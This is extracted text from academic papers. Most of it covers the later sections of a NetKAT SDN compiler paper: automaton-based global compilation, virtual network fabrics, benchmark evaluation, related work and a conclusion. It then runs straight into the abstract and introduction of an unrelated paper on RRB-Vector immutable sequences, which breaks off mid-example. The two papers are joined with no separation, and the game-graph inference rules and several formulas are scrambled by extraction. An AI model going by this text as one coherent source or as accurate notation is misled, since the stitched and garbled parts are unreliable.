similar fashion, although we also have to set the pc to each succes-
sor state s′. This symbolic representation of automata using FDDs
allows us to efficiently manipulate automata despite the large size
of their “input alphabet”, namely |Pk × Pk|. In our implementa-
tion we introduce the pc field and FDDs on the fly as automata are
constructed, rather than adding them as a post-processing step, as
is described here for ease of exposition.

Determinization. The next step in local program generation is to
determinize the NetKAT automaton. This step turns out to be critical
for correctness—it eliminates extra outputs that would be produced
if we attempted to directly implement a nondeterministic NetKAT
automaton. To see why, consider a program of the form p + p.
Intuitively, because union is an idempotent operation, we expect
that this program will behave the same as just a single copy of p.
However, this will not be the case when p contains a dup: each
occurrence of dup will be annotated with a different label. There-
fore, when we instrument the program to track automaton states,
it will create two packets that are identical expect for the pc field,
instead of one packet as required by the semantics. The solution to
this problem is simply to determinize the automaton before convert-
ing it to a local program. Determinization ensures that every packet
trace induces a unique path through the automaton and prevents du-
plicate packets from being produced. Using FDDs to represent the
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automaton symbolically is crucial for this step: it allows us to im-
plement a NetKAT analogue of the subset construction efficiently.

Optimization. One practical issue with building automata using
the algorithms described so far is that they can use a large num-
ber of states—one for each occurrence of dup in the program—and
determinization can increase the number of states by an exponen-
tial factor. Although these automata are not wrong, attempting to
compile them can lead to practical problems since extra states will
trigger a proliferation of forwarding rules that must be installed on
switches. Because switches today often have limited amounts of
memory—often only a few thousand forwarding rules—reducing
the number of states is an important optimization. An obvious idea
is to optimize the automaton using (generalizations of) textbook
minimization algorithms. Unfortunately this would be prohibitively
expensive since deciding whether two states are equal is a costly
operation in the case of NetKAT automata. Instead, we adopt a sim-
ple heuristic that works well in practice and simply merge states
that are identical. In particular, by representing the observation and
transition functions as FDDs, which are hash consed, testing equal-
ity is cheap—simple pointer comparisons.

Local Program Extraction. The final step is to extract a local
program from the automaton. Recall from Section 2 that, by defi-
nition, links are enclosed by dups on either side, and links are the
only NetKAT terms that contain dups or modify the switch field. It
follows that every global program gives rise to a bipartite NetKAT
automaton in which all accepting paths alternate between “switch
states” (which do not modify the switch field) and “link states”
(which forward across links and do modify the switch field), be-
ginning with a switch state. Intuitively, the local program we want
to extract is simply the union of of the ε and δ FDDs of all switch
states (recall Lemma 1 (a)), with the link states implemented by
the physical network. Note however, that the physical network will
neither match on the pc nor advance the pc to the next state (while
the link states in our automaton do). To fix the latter, we observe
that any link state has a unique successor state. We can thus simply
advance the pc by two states instead of one at every switch state,
anticipating the missing pc modification in link states. To address
the former, we employ the equivalence

[sw1:pt1]_[sw2:pt2] ≡ sw=1 · pt=1 · t · sw=2 · pt=2

It allows us to replace links with the entire topology if we modify
switch states to match on the appropriate source and destination
locations immediately before and after transitioning across a link.
After modifying the ε and δ FDDs accordingly and taking the union
of all switch states as described above, the resulting FDD can be
passed to the local compiler to generate forwarding tables.

The tables will correctly implement the global program pro-
vided the physical topology (in, t, out) satisfies the following:

• p ≡ in · p · out, i.e. the global program specifies end-to-end
forwarding paths
• t implements at least the links used in p.
• t · in ≡ false ≡ out · t, i.e. the in and out predicates should

not include locations that are internal to the network.

5. Virtual Compilation
The third and final stage of our compiler pipeline translates vir-
tual programs to physical programs. Recall that a virtual program
is one that is defined over a virtual topology. Network virtualization
can make programs easier to write by abstracting complex physical
topologies to simpler topologies and also makes programs portable
across different physical topologies. It can even be used to multi-
plex several virtual networks onto a single physical network—e.g.,
in multi-tenant datacenters [19].

To compile a virtual program, the compiler needs to know the
mapping between virtual switches, ports, and links and their coun-
terparts at the physical level. The programmer supplies a virtual
program v , a virtual topology t , sets of ingress and egress loca-
tions for t , and a relation R between virtual and physical ports.
The relationR must map each physical ingress to a virtual ingress,
and conversely for egresses, but is otherwise unconstrained—e.g.,
it need not be injective or even a function.2 The constraints on in-
gresses and egresses ensures that each packet entering the physical
network lifts uniquely to a packet in the virtual network, and sim-
ilarly for packets editing the virtual network. During execution of
the virtual program, each packet can be thought of as having two
locations, one in the virtual network and one in the physical net-
work; R defines which pairs of locations are consistent with each
other. For simplicity, we assume the virtual program is a local pro-
gram. If it is not, the programmer can use the global compiler to
put it into local form.

Overview. To execute a virtual program on a physical network,
possibly with a different underlying topology, the compiler must
(i) instrument the program to keep track of packet locations in the
virtual topology and (ii) implement forwarding between locations
that are adjacent in the virtual topology using physical paths. To
achieve this, the virtual compiler proceeds as follows:

1. It instruments the program to use the virtual switch (vsw) and
virtual port (vpt) fields that track of the location of the packet
in the virtual topology.

2. It constructs a fabric: a NetKAT program that updates the phys-
ical location of a packet when its virtual location changes and
vice versa, after each step of processing to restore consistency
with respect to the virtual-physical relation,R.

3. It assembles the final program by combining v with the fabric,
eliminating the vsw and vpt fields, and compiling the result
using the global compiler.

Most of the complexity arises in the second step because there may
be many valid fabrics (or there may be none). However, this step
is independent of the virtual program. The fabric can be computed
once and for all and then be reused as the program changes. Fabrics
can be generated in several ways—e.g., to minimize a costs such as
path length or latency, maximize disjointness, etc.

Instrumentation. To keep track of a packet’s location in the vir-
tual network, we introduce new packet fields vsw and vpt for the
virtual switch and the virtual port, respectively. We replace all oc-
currences of the sw or pt field in the program v and the virtual
topology t with vsw and vpt respectively using a simple textual
substitution. Packets entering the physical network must be lifted
to the virtual network. Hence, we replace in with a program that
matches on all physical ingress locations I and initializes vsw and
vpt in accordance withR:

in ′ ,
∑

(sw,pt)∈I
(vsw,vpt) R (sw,pt)

sw=sw · pt=pt · vsw←vsw · vpt←vpt

Recall that we require R to relate each location in I to at most
one virtual ingress, so the program lifts each packet to at most
one ingress location in the virtual network. The vsw and vpt fields
are only used to track locations during the early stages of virtual
compilation. They are completely eliminated in the final assembly.

2 Actually, we can relax this condition slightly and allow physical ingresses
to map to zero or one virtual ingresses—if a physical ingress has no corre-
sponding representative in the virtual network, then packets arriving at that
ingress will not be admitted to the virtual network.
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(vsw , vpt , I)→v (vsw , vpt ′, O)[
(vsw , vpt , I)
(sw, pt, I)

]
→
[
(vsw , vpt ′, O)

(sw, pt, I)

] V -POL

(vsw , vpt , O)→v (vsw ′, vpt ′, I)[
(vsw , vpt , O)
(sw, pt, O)

]
→
[
(vsw ′, vpt ′, I)

(sw, pt, O)

] V -TOPO

(sw, pt, I)→+
p (sw′, pt′, O)

(vsw , vpt)R (sw′, pt′)[
(vsw , vpt , O)
(sw, pt, I)

]
→
[
(vsw , vpt , O)
(sw′, pt′, O)

] F -OUT

(sw, pt, O)→+
p (sw′, pt′, I)

(vsw , vpt)R (sw′, pt′)[
(vsw , vpt , I)
(sw, pt, O)

]
→
[
(vsw , vpt , I)
(sw′, pt′, I)

] F -IN

(vsw , vpt)R (sw, pt)[
(vsw , vpt , I)
(sw, pt, O)

]
→
[

(vsw , vpt , I)
(sw, Loop pt, I)

] F -LOOP-IN

(sw, pt, O)→∗p (sw′, pt′, O)
(vsw , vpt)R (sw′, pt′)[

(vsw , vpt , O)
(sw, Loop pt, I)

]
→
[
(vsw , vpt , O)
(sw′, pt′, O)

] F -LOOP-OUT

Figure 10: Fabric game graph edges.

Hence, we will not need to introduce additional tags to implement
the resulting physical program.

Fabric construction. Each packet can be thought of as having two
locations: one in the virtual topology and one in the underlying
physical topology. After executing in ′, the locations are consistent
according to the virtual-physical relationR. However, consistency
can be broken after each step of processing using the virtual pro-
gram v or virtual topology t. To restore consistency, we construct
a fabric comprising programs fin and fout from the virtual and
physical topologies andR, and insert it into the program:

q , in ′ · (v · fout) · (t · fin · v · fout)∗ · out

In this program, v and t alternate with fout and fin in processing
packets, thereby breaking and restoring consistency repeatedly.
Intuitively, it is the job of the fabric to keep the virtual and physical
locations in sync.

This process can be viewed as a two-player game between a
virtual player V (embodied by v and t) and a fabric player F
(embodied by fout and fin ). The players take turns moving a packet
across the virtual and the physical topology, respectively. Player V
wins if the fabric player F fails to restore consistency after a finite
number of steps; player F wins otherwise. Constructing a fabric
now amounts to finding a winning strategy for F .

We start by building the game graph G = (V,E) modeling all
possible ways that consistency can be broken by V or restored by
F . Nodes are pairs of virtual and physical locations, [lv, lp], where
a location is a 3-tuple comprising a switch, a port, and a direction

Reachable Nodes
(sw, pt) ∈ I (vsw , vpt)R (sw, pt)[

(vsw , vpt , I)
(sw, pt, I)

]
∈ V

ING

u ∈ V u→ v

v ∈ V TRANS

Fatal Nodes

v =

[
(vsw , vpt , d1)
(sw, pt, d2)

]
∈ V d1 6= d2

∀u. v → u⇒ u is fatal
v is fatal

F -FATAL

v =

[
(vsw , vpt , d1)
(sw, pt, d2)

]
∈ V d1 = d2

∃u. v → u ∧ u is fatal
v is fatal

V -FATAL

Figure 12: Reachable and fatal nodes.

that indicates if the packet entering the port (I) leaving the port (O).
The rules in Figure 10 determine the edges of the game graph:

• The edge [lv, lp] → [l′v, lp] exists if V can move packets from
lv to l′v . There are two ways to do so: either V moves packets
across a virtual switch (V -POL) or across a virtual link (V -
TOPO). In the inference rules, we write→v to denote a single
hop in the virtual topology:

(vsw , vpt , d)→v (vsw ′, vpt ′, d′)

if d = I and d′ = O then the hop is across one switch, but if
d = O and d′ = I then the hop is across a link.
• The edge [lv, lp] → [lv, l

′
p] exists if F can move packets from

lp to l′p. When F makes a move, it must restore physical-virtual
consistency (the R relation in the premise of F -POL and F -
TOPO). To do so, it may need to take several hops through the
physical network (written as→+

p ).
• In addition, F may leave a packet at their current location, if

the location is already consistent (F -LOOP-IN and F -LOOP-
OUT). Note that these force a packet located at physical location
(sw, pt, O) to leave through port pt eventually. Intuitively, once
the fabric has committed to emitting the packet through a given
port, it can only delay but not withdraw that commitment.

Although these rules determine the complete game graph, all
packets enter the network at an ingress location (determined by
the in ′ predicate). Therefore, we can restrict our attention to only
those nodes that are reachable from the ingress (reachable nodes
in Figure 12). In the resulting graph G = (V,E), every path
represents a possible trajectory that a packet processed by q may
take through the virtual and physical topology.

In addition to removing unreachable nodes, we must remove
fatal nodes, which are the nodes where F is unable to restore
consistency and thus loses the game. F -FATAL says that any state
from which F is unable to move to a non-fatal state is fatal. In
particular, this includes states in which F cannot move to any other
state at all. V -FATAL says that any state in which V can move to a
fatal state is fatal. Intuitively, we define such states to be fatal since
we want the fabric to work for any virtual program the programmer
may write. Fatal states can be removed using a simple backwards
traversal of the graph starting from nodes without outgoing edges.
This process may remove ingress nodes if they turn out to be fatal.

337



0

30

60

90

0 20 40 60
Pods

T
im

e 
(s

ec
on

ds
)

(a) Routing on k-pod fat-trees.

0

25

50

75

100

0 10000 20000 30000 40000
Rules

T
im

e 
(s

ec
on

ds
)

Single FDD

Switch Specialization

(b) Destination-based routing on topology zoo.

2

200

600

200 400 600 800 1000
Prefix Groups

T
im

e 
(s

ec
on

ds
)

FDD 100

FDD 200

FDD 300

SDX 100

SDX 200

SDX 300

(c) Time needed to compile SDX benchmarks.

Figure 11: Experimental results: compilation time.

This happens if and only if there exists no fabric that can always
restore consistency for arbitrary virtual programs. Of course, this
case can only arise if the physical topology is not bidirectional.

Fabric selection. If all ingress nodes withstand pruning, the re-
sulting graph encodes exactly the set of all winning strategies for
F , i.e. the set of all possible fabrics. A fabric is a subgraph of G
that contains the ingress, is closed under all possible moves by the
virtual program, and contains exactly one edge out of every state in
which F has to restore consistency. The F-edges must be labeled
with concrete paths through the physical topology, as there may ex-
ist several paths implementing the necessary multi-step transporta-
tion from the source node to the target node.

In general, there may be many fabrics possible and the choice
of different F-edges correspond to fabrics with different character-
istics, such as minimizing hop counts, maximizing disjoint paths,
and so on. Our compiler implements several simple strategies. For
example, given a metric φ on paths (such as hop count), our greedy
strategy starts at the ingresses and adds a node whenever it is reach-
able through an edge e rooted at a node u already selected, and e
is (i) any V-player edge or (ii) the F-player edge with path π min-
imizing φ among all edges and their paths rooted at u.

After a fabric is selected, it is straightforward to encode it as
a NetKAT term. Every F-edge [lv, lp] → [lv, l

′
p] in the graph is

encoded as a NetKAT term that matches on the locations lv and lp,
forwards along the corresponding physical path from lp to l′p, and
then resets the virtual location to lv . Resetting the virtual location
is semantically redundant but will make it easy to eliminating the
vsw and vpt fields. We then take fin to be the union of all F -IN-
edges, and fout to be the union of all F -OUT-edges. NetKAT’s
global abstractions play a key role, providing the building blocks
for composing multiple overlapping paths into a unified fabric.

End-to-end Compilation. After the programs in ′, fin , and fout ,
are calculated from R, we assemble the physical program q, de-
fined above. However, one last potential problem remains: although
the virtual compiler adds instrumentation to update the physical
switch and port fields, the program still matches and updates the
virtual switch (vsw) and virtual port (vpt). However, note that by
construction of q, any match on the vsw or vpt field is preceded by
a modification of those fields on the same physical switch. There-
fore, all matches are automatically eliminated during FDD genera-
tion, and only modifications of the vsw and vpt fields remain. These
can be safely erased before generating flow tables as the global
compiler inserts a program counter into q that plays double-duty to
track both the physical location and the virtual location of a packet.
Hence, we only need a single tag to compile virtual programs!

6. Evaluation
To evaluate our compiler, we conducted experiments on a diverse
set of real-world topologies and benchmarks. In practice, our com-
piler is a module that is used by the Frenetic SDN controller to map
NetKAT programs to flow tables. Whenever network events occur,
e.g., a host connects, a link fails, traffic patterns change, and so
on, the controller may react by generating a new NetKAT program.
Since network events may occur rapidly, a slow compiler can easily
be a bottleneck that prevents the controller from reacting quickly to
network events. In addition, the flow tables that the compiler gen-
erates must be small enough to fit on the available switches. More-
over, as small tables can be updated faster than large tables, table
size affects the controller’s reaction time too.

Therefore, in all the following experiments we measure flow-
table compilation time and flow-table size. We apply the compiler
to programs for a variety of topologies, from topology designs for
very large datacenters to a dataset of real-world topologies. We
highlight the effect of important optimizations to the fundamental
FDD-based algorithms. We perform all experiments on 32-core, 2.6
GHz Intel Xeon E5-2650 machines with 64GB RAM.3 We repeat
all timing experiments ten times and plot their average.

Fat trees. A fat-tree [2] is a modern datacenter network design
that uses commodity switches to minimize cost. It provides sev-
eral redundant paths between hosts that can be used to maximize
available bandwidth, provide backup paths, and so on. A fat-tree
is organized into pods, where a k-pod fat-tree topology can sup-
port up to k3

4
hosts. A real-world datacenter might have up to 48

pods [2]. Therefore, our compiler should be able to generate for-
warding programs for a 48-pod fat tree relatively quickly.

Figure 11a shows how the time needed to generate all flow
tables varies with the number of pods in a fat-tree.4 The graph
shows that we take approximately 30 seconds to produce tables for
48-pod fat trees (i.e., 27,000 hosts) and less than 120 seconds to
generate programs for 60-pod fat trees (i.e., 54,000 hosts).

This experiment shows that the compiler can generate tables for
large datacenters. But, this is partly because the fat-tree forward-
ing algorithm is topology-dependent and leverages symmetries to
minimize the amount of forwarding rules needed. Many real-world
topologies are not regular and require topology-independent for-
warding programs. In the next section, we demonstrate that our
compiler scales well with these topologies too.

3 Our compiler is single-threaded and doesn’t leverage multicore.
4 This benchmark uses the switch-specialization optimization, which we
describe in the next section.
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Figure 13: Experimental results: forwarding table compression and global compilation.

Topology Zoo. The Topology Zoo [18] is a dataset of a few hun-
dred real-world network topologies of varying size and structure.
For every topology in this dataset, we use destination-based rout-
ing to connect all nodes to each other. In destination-based routing,
each switch filters packets by their destination address and forwards
them along a spanning-tree rooted at the destination. Since each
switch must be able to forward to any destination, the total number
of rules must be O(n2) for an n-node network.

Figure 11b shows how the running time of the compiler varies
across the topology zoo benchmarks. The curves are not as smooth
as the curve for fat-trees, since the complexity of forwarding de-
pends on features of network topology. Since the topology zoo is
so diverse, this is a good suite to exercise the switch specialization
optimization that dramatically reduces compile time.

A direct implementation builds of the local compiler builds one
FDD for the entire network and uses it to generate flow tables for
each switch. However, since several FDD (and BDD) algorithms are
fundamentally quadratic, it helps to first specialize the program for
each switch and then generate a small FDD for each switch in the
network (switch specialization). Building FDDs for several smaller
programs is typically much faster than building a single FDD for
the entire network. As the graph shows, this optimization has a
dramatic effect on all but the smallest topologies.

SDX. Our experiments thus far have considered some quite large
forwarding programs, but none of them leverage software-defined
networking in any interesting way. In this section, we report on our
performance on benchmarks from a recent SIGCOMM paper [13]
that proposes a new application of SDN.

An Internet exchange point (IXP) is a physical location where
networks from several ISPs connect to each other to exchange traf-
fic. Legal contracts between networks are often implemented by
routing programs at IXPs. However, today’s IXPs use baroque pro-
tocols the needlessly limit the kinds of programs that can be im-
plemented. A Software-defined IXP (an “SDX” [13]) gives partici-
pants fine-grained control over packet-processing and peering us-
ing a high-level network programming language. The SDX proto-
type uses Pyretic [25] to encode policies and presents several ex-
amples that demonstrate the power of an expressive network pro-
gramming language.

We build a translator from Pyretic to NetKAT and use it to eval-
uate our compiler on SDXs own benchmarks. These benchmarks
simulate a large IXP where a few hundred peers apply programs
to several hundred prefix groups. The dashed lines in Figure 11c
reproduce a graph from the SDX paper, which shows how compila-
tion time varies with the number of prefix groups and the number of

participants in the SDX.5 The solid lines show that our compiler is
orders of magnitude faster. Pyretic takes over 10 minutes to compile
the largest benchmark, but our compiler only takes two seconds.

Although Pyretic is written in Python, which is a lot slower than
OCaml, the main problem is that Pyretic has a simple table-based
compiler that does not scale (Section 2). In fact, the authors of SDX
had to add several optimizations to get the graph depicted. Despite
these optimizations, our FDD-based approach is substantially faster.

The SDX paper also reports flow-table sizes for the same bench-
mark. At first, our compiler appeared to produce tables that were
twice as large as Pyretic. Naturally, we were unhappy with this re-
sult and investigated. Our investigation revealed a bug in the Pyretic
compiler, which would produce incorrect tables that were artifi-
cially small. The authors of SDX have confirmed this bug and it has
been fixed in later versions of Pyretic. We are actively working with
them to port SDX to NetKAT to help SDX scale further.

Classbench. Lastly, we compile ACLs generated using Class-
bench [32]. These are realistic firewall rules that showcase another
optimization: it is often possible to significantly compress tables by
combining and eliminating redundant rules.

We build an optimizer for the flow-table generation algorithm
in Figure 8. Recall that that we generate flow-tables by converting
every complete path in the FDD into a rule. Once a path has been
traversed, we can remove it from the FDD without harm. However,
naively removing a path may produce an FDD that is not reduced.
Our optimization is simple: we remove paths from the FDD as they
are turned into rules and ensure that the FDD is reduced at each
step. When the last path is turned into a rule, we are left with a triv-
ial FDD. This iterative procedure prevents several unnecessary rules
from being generated. It is possible to implement other canonical
optimizations. But, this optimization is unique because it leverages
properties of reduced FDDs. Figure 13a shows that this approach
can produce 30% fewer rules on average than a direct implemen-
tation of flow-table generation. We do not report running times for
the optimizer, but it is negligible in all our experiments.

Global compiler. The benchmarks discussed so far only use the
local compiler. In this section, we focus on the global compiler.
Since the global compiler introduces new abstractions, we can’t
apply it to existing benchmarks, such as SDX, which use local
programs. Instead, we need to build our own benchmark suite of
global programs. To do so, we build a generator that produces
global programs that describe paths between hosts. Again, an n-
node topology has O(n2) paths. We apply this generator to the
Topology Zoo, measuring compilation time and table size:

5 We get nearly the same numbers as the SDX paper on our hardware.
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Figure 14: Three fabrics optimizing different metrics

• Compilation time: since the global compiler leverages FDDs, we
can expect automaton generation to be fast. However, global
compilation involves other steps such as determinization and
localization and their effects on compilation time may matter.
Figure 13c shows how compilation time varies with the total
number of rules generated. This graph does grow faster than
local compilation time on the same benchmark (the red, dashed
line in Figure 11b). Switch-specialization, which dramatically
reduces the size of FDDs and hence compilation time, does not
work on global programs. Therefore, it makes most sense to
compare this graph to local compilation with a single FDD.
• Table size: The global compiler has some optimizations to elim-

inate unnecessary states, which produces fewer rules. However,
it it does not fully minimize NetKAT automata thus it may pro-
duce more rules than equivalent local programs. Figure 13b
shows that on the topology zoo, global routing produces tables
that are no more than twice as large as local routing.

We belive these results are promising: we spent a lot of time tuning
the local compiler, but the global compiler is an early prototype
with much room for improvement.

Virtualization case study. Finally, we present a small case study
that showcases the virtual compiler on a snapshot of the AT&T
backbone network circa 2007–2008. This network is part of the
Topology Zoo and shown in Figure 14. We construct a “one big
switch” virtual network and use it to connect five nodes (high-
lighted in green) to each other:

5∑
n=1

dst=10.0.0.n · pt←n

To map the virtual network to the physical network, we generate
three different fabrics: (a) a fabric that minimizes the total number
of links used across the network, (b) a fabric that minimizes the
number of hops between hosts, and (c) a fabric that minimizes the
physical length of the path between hosts. In the figure, the links
utilized by each of these fabrics is highlighted in red.

The three fabrics give rise to three very different implementa-
tions of the same virtual program. Note that the program and the
fabric are completely independent of each other and can be up-
dated independently. For example, the operator managing the phys-
ical network could change the fabric to implement a new SLA, e.g.
move from minimum-utilization to shortest-paths. This change re-
quires no update to the virtual program; the network would witness
performance improvement for free. Similarly, the virtual network
operator could decide to implement a new firewall policy in the
virtual network or change the forwarding behavior. The old fabric
would work seamlessly with this new virtual program without inter-

vention by the physical network operator. In principle, our compiler
could even be used repeatedly to virtualize virtual networks.

7. Related Work
A large body of work has explored the design of high-level lan-
guages for SDN programming [8, 19, 24, 25, 28, 29, 33]. Our work
is unique in its focus on the task of engineering efficient compilers
that scale up to large topologies as well as expressive global and
virtual programs.

An early paper by Monsanto et al. proposed the NetCore lan-
guage and presented an algorithm for compiling programs based
on forwarding tables [24]. Subsequent work by Guha et al. devel-
oped a verified implementation of NetCore in the Coq proof as-
sistant [12]. Anderson et al. developed NetKAT as an extension to
NetCore and proposed a compilation algorithm based on manipu-
lating nested conditionals, which are essentially equivalent to for-
warding tables. The correctness of the algorithm was justified us-
ing NetKAT’s equational axioms, but didn’t handle global programs
or Kleene star. Concurrent NetCore [30] grows NetCore with fea-
tures that target next-generation SDN-switches. The original Pyretic
paper implemented an “reactive microflow interpreter” and not a
compiler [25]. However later work developed a compiler in the
style of NetCore. SDX uses Pyretic to program Internet exchange
points [13]. CoVisor develops incremental algorithms for maintain-
ing forwarding table in the presence of changes to programs com-
posed using NetCore-like operators [15]. Recent work by Jose et
al. developed a compiler based on integer linear programming for
next-generation switches, each with multiple, programmable for-
warding tables [16].

A number of papers in the systems community have proposed
mechanisms for implementing virtual network programs. An early
workshop paper by Casado proposed the idea of network virtual-
ization and sketched an implementation strategy based on a hyper-
visor [7]. Our virtual compiler extends this basic strategy by in-
troducing a generalized notion of a fabric, developing concrete al-
gorithms for computing and selecting fabrics, and showing how to
compose fabrics with virtual programs in the context of a high-level
language. Subsequent work by Koponen et al. described VMware’s
NVP platform, which implements hypervisor-based virtualization
in multi-tenant datacenters [19]. Pyretic [25], CoVisor [15], and
OpenVirteX [3] all support virtualization—the latter at three differ-
ent levels of abstraction: topology, address, and control application.
However, none of these papers present a complete description of al-
gorithms for computing the forwarding state needed to implement
virtual networks.

The FDDs used in our local compiler as well as our algorithms
for constructing NetKAT automata are inspired by Pous’s work on
symbolic KAT automata [27] and work by some of the authors on
a verification tool for NetKAT [11]. The key differences between
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this work and ours is that they focus on verification of programs
whereas we develop compilation algorithms. BDDs have been used
for verification for several decades [1, 6]. In the context of net-
works, BDDs and BDD-like structures have been used to optimize
access control policies [21], TCAMs [22], and to verify [17] data
plane configurations, but our work is the first to use BDDs to com-
pile network programs.

8. Conclusion
This paper describes the first complete compiler for the NetKAT
language. It presents a suite of tools that leverage BDDs, graph al-
gorithms, and symbolic automata to efficiently compile programs
in the NetKAT language down to compact forwarding tables for
SDN switches. In the future, we plan to investigate whether richer
constructs such as stateful and probabilistic programs can be im-
plemented using our techniques, how classic algorithms from the
automata theory literature can be adapted to optimize global pro-
grams, how incremental algorithms can be incorporated into our
compiler, and how the compiler can assist in performing graceful
dynamic updates to network state.
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Abstract
State-of-the-art immutable collections have wildly differing per-
formance characteristics across their operations, often forcing pro-
grammers to choose different collection implementations for each
task. Thus, changes to the program can invalidate the choice of
collections, making code evolution costly. It would be desirable to
have a collection that performs well for a broad range of operations.

To this end, we present the RRB-Vector, an immutable se-
quence collection that offers good performance across a large num-
ber of sequential and parallel operations. The underlying innova-
tions are: (1) the Relaxed-Radix-Balanced (RRB) tree structure,
which allows efficient structural reorganization, and (2) an opti-
mization that exploits spatio-temporal locality on the RRB data
structure in order to offset the cost of traversing the tree.

In our benchmarks, the RRB-Vector speedup for parallel opera-
tions is lower bounded by 7×when executing on 4 CPUs of 8 cores
each. The performance for discrete operations, such as appending
on either end, or updating and removing elements, is consistently
good and compares favorably to the most important immutable se-
quence collections in the literature and in use today. The memory
footprint of RRB-Vector is on par with arrays and an order of mag-
nitude less than competing collections.

Categories and Subject Descriptors E.1 [Data Structures]: Ar-
rays; E.1 [Data Structures]: Trees; E.1 [Data Structures]: Lists,
stacks, and queues

Keywords Data Structures, Immutable, Sequences, Arrays,
Trees, Vectors, Radix-Balanced, Relaxed-Radix-Balanced

1. Introduction
In functional programs, immutable sequence data structures are
used in two distinct ways:

• to perform discrete operations, such as accessing, updating,
inserting or deleting random collection elements;
• for bulk operations, such as mapping a function over the entire

collection, filtering using a predicate or grouping using a key
function.

∗ Phil Bagwell passed away on October 6, 2012. He made significant con-
tributions to this work, and to the field of data structures in general.

Bulk operations on immutable collections lend themselves to
implicit parallelization. This allows the execution to proceed either
sequentially, by traversing the collection one element at a time, or
in parallel, by delegating parts of the collection to be traversed
in different execution contexts and combining the intermediate
results. Therefore, the bulk operations allow programs to scale
to multiple cores without explicit coordination, thus lowering the
burden on programmers.

Most state-of-the-art collection implementations are tailored to
some specific operations, which are executed very fast, at the ex-
pense of the others, which are slow. For example, the ubiquitous
Cons list is extremely efficient for prepending elements and access-
ing the head of the list, performing both operations in O(1) time.
However, it has a linearO(n) cost for reading and updating random
elements. And although sequential scanning is efficient, requiring
O(1) time per element, it cannot benefit from parallel execution,
since both splitting and combining take sequentialO(n) time, can-
celling out any gains from the parallel execution.

This non-uniform behavior across different operations forces
programmers to carefully choose the collections they use based on
the operations required by the task at hand. This ad-hoc choice also
stifles code evolution, as new features often rely on different opera-
tions, forcing the programmers to revisit their choice of collections.
Furthermore, having different collection choices for each module
prevents good end-to-end performance, since data must be passed
from one collection to another, adding overhead.

Instead of asking programmers to choose a collection which
performs well for their needs, it would be much better to provide
a default collection that performs well across a broad range of
operations, both discrete and bulk. Having such a collection readily
available would allow programmers to rely on it without worrying
about performance, except in extremely critical places, and would
encourage modules to standardize their interfaces around it.

To this end, we present the RRB-Vector, an immutable indexed
sequence collection that inherits and improves the fast discrete op-
erations of tree-based structures while supporting efficient paral-
lel execution by providing fast split and combine primitives. The
RRB-Vector is a good candidate for a default immutable collec-
tion, thanks to its good all-around performance, allowing programs
to use it without the risk of running into unexpected linear or supra-
linear overheads.

Bulk data parallel operations on the RRB-Vector are executed
with effectively-constant1 sequential overheads thanks to the under-
lying wide Relaxed-Radix-Balanced (RRB) tree structure. The key
property is the relaxed balancing requirement, which allows effi-
cient structural changes without introducing extremely unbalanced
states. Data parallel operations, such as map, are executed in three
phases: (1) the RRB-Vector is split into chunks in an effectively-

1 Proportional to a logarithm of the size with a large base. In practice our
choice of index representation as signed integer limits to log32(231) + 1
which corresponds to approximately 6.2 indirections.
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constant sequential operation, (2) each execution context traverses
one or more chunks, with an amortized-constant overhead per el-
ement and (3) the intermediate results are concatenated in a final
effectively-constant sequential operation.

Discrete operations, such as appends on either side, updates
and deletions are performed in amortized-constant time. This is
achieved thanks to a lightweight fragmented representation of the
tree that reduces the propagation of updates to branches, thus ex-
ploiting locality of operations. This provides an adapted and more
efficient treatment compared to the widely-used tree structural shar-
ing [11], thus lowering the asymptotic complexity from effectively
constant to amortized constant. In the worst case, if operations are
called in an adversarial manner, the behavior remains effectively
constant and the additional overhead is limited to a range check
and a single set of assignment operations.

We implemented the RRB-Vector data structure in Scala2 and
measured the performance of its most important operations. On 4
cores, bulk operation performance is at least 2.3× faster compared
to sequential execution, scaling better with heavier workloads. Dis-
crete operations take either amortized- or effective-constant time,
with good constants: compared to mutable arrays, sequential reads
are at most 2× slower, while random access is 2-3.5× slower.

We compare our RRB-Vector implementation to other im-
mutable collections such as red-black trees, finger trees, copy-on-
write arrays and the current Vector implementation in the Scala
library. Overall, the RRB-Vector is at most 2.5× slower than
the best collection for each operation and consistently delivers
good performance across all benchmarks. The memory footprint
of RRB-Vector is on-par with copy-on-write arrays and an order
of magnitude better than red-black trees and finger trees.

We claim the following contributions:

• We present the Relaxed-Radix-Balanced (RRB) tree data struc-
ture and show how it enables the efficient splitting and concate-
nation operations necessary for data parallel operations (§3);
• We describe the additional structural optimizations that exploit

spatio-temporal locality on RRB-Trees (§4);
• We discuss the technical details of our Scala RRB-Vector im-

plementation (which is under consideration for inclusion in the
Scala standard library as a replacement for the current Vector
collection) in hope that other language implementers will ben-
efit from our experience (§5);
• We evaluate the performance of our implementation and com-

pare the results of 7 different core operations across 5 different
immutable collections (§6).

2. Background: Vectors as Balanced Trees
In this section we present a base version of the immutable Vector,
which is based on Radix-Balanced trees3. This simple version pro-
vides logarithmic complexities: O(logm(n)) on random accesses
and O(m · logm(n)) while updating, appending at either end, or
splitting. The constant m is the branching factor (ideally a power
of two).

2.1 Radix-Balanced Tree Structure
A Radix-Balanced tree is a shallow and complete (or perfect) m-ary
tree located only in the leaves. The nodes have a fixed branching
size m, and are either internal nodes linking to sub-trees or leaves
containing elements. In practice the branching used is 32 [4, 37],
but as we will later see, the node size can be any power of 2,
allowing efficient radix-based implementations. Figure 1 shows

2 https://github.com/nicolasstucki/scala-rrb-vector
3 Base structure for Relaxed-Radix-Balanced Vector.

0 1 … m-1

0 1 … m-1 0 1 … m-1

0 1 … m-1

0 1 … m-1

0 1 … m-1 0 1 … m-1 0 1 … m-1 0 1 … m-1

Figure 1. Radix-Balanced tree structure

this structure for m children on each node. Logically each node
is a copy-on-write array that contains subtrees or elements.

Apart from the tree itself, a Vector keeps the tree height as
a field, in order to improve performance. This height is upper
bounded by logm(n−1)+1 for nodes of m branches. For example,
if m is 32, the tree becomes quite shallow and the complexity to
traverse it from root to leaf is considered as effectively constant4

when taking into account that the number of elements will never
be larger than the maximum index representable with 32 bit signed
integers, which corresponds to a maximum height of 7 levels5.

Usually the number of elements in a Vector does not exactly
match a full tree (mi for some i > 0). To mark the start and end
of the elements in the tree, the vector keeps these indices as fields.
All subtrees on the left and right that are outside of the filled index
range are represented by empty references.

2.2 Core Operations
Indexing Elements are fetched from the tree using radix search

on the index. If the tree has a branching factor of 32, the index can
be split bitwise in blocks of 5 (25 = 32) and used to know the path
that must be taken from the root down to the element. The indices
at each level L can be computed with (index >> (5 ·L))&31. For
example the index 526843 would be:

526843 = 00 00000
0

